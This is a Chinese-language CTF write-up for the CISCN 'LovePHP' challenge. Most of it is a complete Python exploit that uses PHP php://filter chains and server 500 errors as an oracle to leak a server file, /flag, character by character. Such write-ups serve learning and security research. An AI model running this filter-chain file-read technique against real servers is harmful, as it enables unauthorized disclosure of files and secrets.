Ciscn初赛——LovePHP题目wp

  1. PHP特性题目

  2. 引发服务器500错误,观察PHP过滤器的行为,创建过滤器链进行攻击

    import requests
    import sys
    from base64 import b64decode
    
    """
    THE GRAND IDEA:
    We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
    filter will blow up the string length by 4x every time it is used, which will quickly cause
    500 error if and only if the string is non empty. So we now have an oracle that tells us if
    the string is empty.
    
    THE GRAND IDEA 2:
    The dechunk filter is interesting.
    https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
    It looks like it was implemented for something http related, but for our purposes, the interesting
    behavior is that if the string contains no newlines, it will wipe the entire string if and only if
    the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
    above oracle! In fact we can verify that since the flag starts with D that the filter chain
    
    dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE
    
    does not cause a 500 error.
    
    THE REST:
    So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
    into madness trying to figure out ways to:
    - somehow get other characters not at the start of the flag file to the front
    - detect more precisely which character is at the front
    """
    
    def join(*x):
    	return '|'.join(x)
    
    def err(s):
    	print(s)
    	raise ValueError
    
    def req(s):
    	param = '{}'
    	data = f'{param}&secret=php://filter/{s}/resource=/flag'
    
    	return requests.get(f'http://IP+PORT/index.php?my[secret.flag=C:8:"Saferman":0:{data}').status_code == 500
    
    """
    Step 1:
    The second step of our exploit only works under two conditions:
    - String only contains a-zA-Z0-9
    - String ends with two equals signs
    
    base64-encoding the flag file twice takes care of the first condition.
    
    We don't know the length of the flag file, so we can't be sure that it will end with two equals
    signs.
    
    Repeated application of the convert.quoted-printable-encode will only consume additional
    memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
    If the double-base64 does not end with two equals signs, we will add junk data to the start of the
    flag with convert.iconv..CSISO2022KR until it does.
    """
    
    blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
    blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
    blow_up_inf = join(*[blow_up_utf32]*50)
    
    header = 'convert.base64-encode|convert.base64-encode'
    
    # Start get baseline blowup
    print('Calculating blowup')
    baseline_blowup = 0
    for n in range(100):
    	payload = join(*[blow_up_utf32]*n)
    	if req(f'{header}|{payload}'):
    		baseline_blowup = n
    		break
    else:
    	err('something wrong')
    
    print(f'baseline blowup is {baseline_blowup}')
    
    trailer = join(*[blow_up_utf32]*(baseline_blowup-1))
    
    assert req(f'{header}|{trailer}') == False
    
    print('detecting equals')
    j = [
    	req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
    	req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
    	req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
    ]
    print(j)
    if sum(j) != 2:
    	err('something wrong')
    if j[0] == False:
    	header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
    elif j[1] == False:
    	header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
    elif j[2] == False:
    	header = f'convert.base64-encode|convert.base64-encode'
    else:
    	err('something wrong')
    print(f'j: {j}')
    print(f'header: {header}')
    
    """
    Step two:
    Now we have something of the form
    [a-zA-Z0-9 things]==
    
    Here the pain begins. For a long time I was trying to find something that would allow me to strip
    successive characters from the start of the string to access every character. Maybe something like
    that exists but I couldn't find it. However, if you play around with filter combinations you notice
    there are filters that *swap* characters:
    
    convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
    abcdefgh -> badcfehg
    
    convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
    abcdefgh -> dcbahgfe
    
    This allows us to access the first four characters of the string. Can we do better? It turns out
    YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
    the string:
    
    abcdefgh -> <0xff><0xfe>abcdefgh
    
    The idea being that if we now use the r4 gadget, we get something like:
    ba<0xfe><0xff>fedc
    
    And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
    <0xfe><0xff> to get:
    bafedc
    
    And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
    characters of the string. There's only one problem: our r4 gadget requires that the string length
    is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
    we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
    good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
    turns out, if we apply the filter
    convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
    
    It will turn the == into:
    +---AD0-3D3D+---AD0-3D3D
    
    And this is magic, because this corrects such that when we apply the
    convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
    
    Let's recap. We have a string like:
    abcdefghij==
    
    Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
    abcdefghij+---AD0-3D3D+---AD0-3D3D
    
    Apply convert.iconv.CSUNICODE.CSUNICODE:
    <0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
    
    Apply r4 gadget:
    ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
    
    Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
    bafedcjihg+0DAD3D3+0DAD3Dw==
    
    Then apply r4 once more:
    efabijcd0+gh3DAD0+3D3DAD==wD
    
    And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
    the string still has two equals signs in it, so we can reapply the technique as many times as we
    want, to access all the characters in the string ;)
    """
    
    flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
    r2 = "convert.iconv.CSUNICODE.UCS-2BE"
    r4 = "convert.iconv.UCS-4LE.10646-1:1993"
    
    def get_nth(n):
    	global flip, r2, r4
    	o = []
    	chunk = n // 2
    	if chunk % 2 == 1: o.append(r4)
    	o.extend([flip, r4] * (chunk // 2))
    	if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
    	return join(*o)
    
    """
    Step 3:
    This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
    char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
    chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
    I just bruteforced every combination of iconv filters to find these.
    
    Numbers are a bit trickier because iconv doesn't tend to touch them.
    In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
    want a full leak you can base64 encode a third time and use the first two letters of the resulting
    string to figure out which number it is.
    """
    
    rot1 = 'convert.iconv.437.CP930'
    be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
    o = ''
    
    def find_letter(prefix):
    	if not req(f'{prefix}|dechunk|{blow_up_inf}'):
    		# a-f A-F 0-9
    		if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
    			# a-e
    			for n in range(5):
    				if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
    					return 'edcba'[n]
    					break
    			else:
    				err('something wrong')
    		elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
    			# A-E
    			for n in range(5):
    				if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
    					return 'EDCBA'[n]
    					break
    			else:
    				err('something wrong')
    		elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
    			return '*'
    		elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    			# f
    			return 'f'
    		elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    			# F
    			return 'F'
    		else:
    			err('something wrong')
    	elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
    		# n-s N-S
    		if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
    			# n-r
    			for n in range(5):
    				if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
    					return 'rqpon'[n]
    					break
    			else:
    				err('something wrong')
    		elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
    			# N-R
    			for n in range(5):
    				if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
    					return 'RQPON'[n]
    					break
    			else:
    				err('something wrong')
    		elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    			# s
    			return 's'
    		elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    			# S
    			return 'S'
    		else:
    			err('something wrong')
    	elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    		# i j k
    		if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'k'
    		elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'j'
    		elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'i'
    		else:
    			err('something wrong')
    	elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    		# I J K
    		if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'K'
    		elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'J'
    		elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'I'
    		else:
    			err('something wrong')
    	elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    		# v w x
    		if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'x'
    		elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'w'
    		elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'v'
    		else:
    			err('something wrong')
    	elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    		# V W X
    		if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'X'
    		elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'W'
    		elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
    			return 'V'
    		else:
    			err('something wrong')
    	elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    		# Z
    		return 'Z'
    	elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    		# z
    		return 'z'
    	elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    		# M
    		return 'M'
    	elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    		# m
    		return 'm'
    	elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    		# y
    		return 'y'
    	elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    		# Y
    		return 'Y'
    	elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    		# l
    		return 'l'
    	elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    		# L
    		return 'L'
    	elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    		# h
    		return 'h'
    	elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    		# H
    		return 'H'
    	elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    		# u
    		return 'u'
    	elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    		# U
    		return 'U'
    	elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    		# g
    		return 'g'
    	elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    		# G
    		return 'G'
    	elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    		# t
    		return 't'
    	elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    		# T
    		return 'T'
    	else:
    		err('something wrong')
    
    print()
    for i in range(100):
    	prefix = f'{header}|{get_nth(i)}'
    	letter = find_letter(prefix)
    	# it's a number! check base64
    	if letter == '*':
    		prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
    		s = find_letter(prefix)
    		if s == 'M':
    			# 0 - 3
    			prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
    			ss = find_letter(prefix)
    			if ss in 'CDEFGH':
    				letter = '0'
    			elif ss in 'STUVWX':
    				letter = '1'
    			elif ss in 'ijklmn':
    				letter = '2'
    			elif ss in 'yz*':
    				letter = '3'
    			else:
    				err(f'bad num ({ss})')
    		elif s == 'N':
    			# 4 - 7
    			prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
    			ss = find_letter(prefix)
    			if ss in 'CDEFGH':
    				letter = '4'
    			elif ss in 'STUVWX':
    				letter = '5'
    			elif ss in 'ijklmn':
    				letter = '6'
    			elif ss in 'yz*':
    				letter = '7'
    			else:
    				err(f'bad num ({ss})')
    		elif s == 'O':
    			# 8 - 9
    			prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
    			ss = find_letter(prefix)
    			if ss in 'CDEFGH':
    				letter = '8'
    			elif ss in 'STUVWX':
    				letter = '9'
    			else:
    				err(f'bad num ({ss})')
    		else:
    			err('wtf')
    
    	print(end=letter)
    	o += letter
    	sys.stdout.flush()
    
    """
    We are done!! :)
    """
    
    print()
    d = b64decode(o.encode() + b'=' * 4)
    # remove KR padding
    d = d.replace(b'$)C',b'')
    print(b64decode(d))
  3. 首先,通过构造特定的过滤器链,在HTTP请求中注入不同的字符和过滤器

  4. 如果在应用过滤器链后服务器返回500错误,那么可以推断出该字符在flag文件中,因为服务器在某些条件下无法正确处理该输入,从而导致错误

  5. 根据服务器的响应,可以逐个判断flag文件中的字符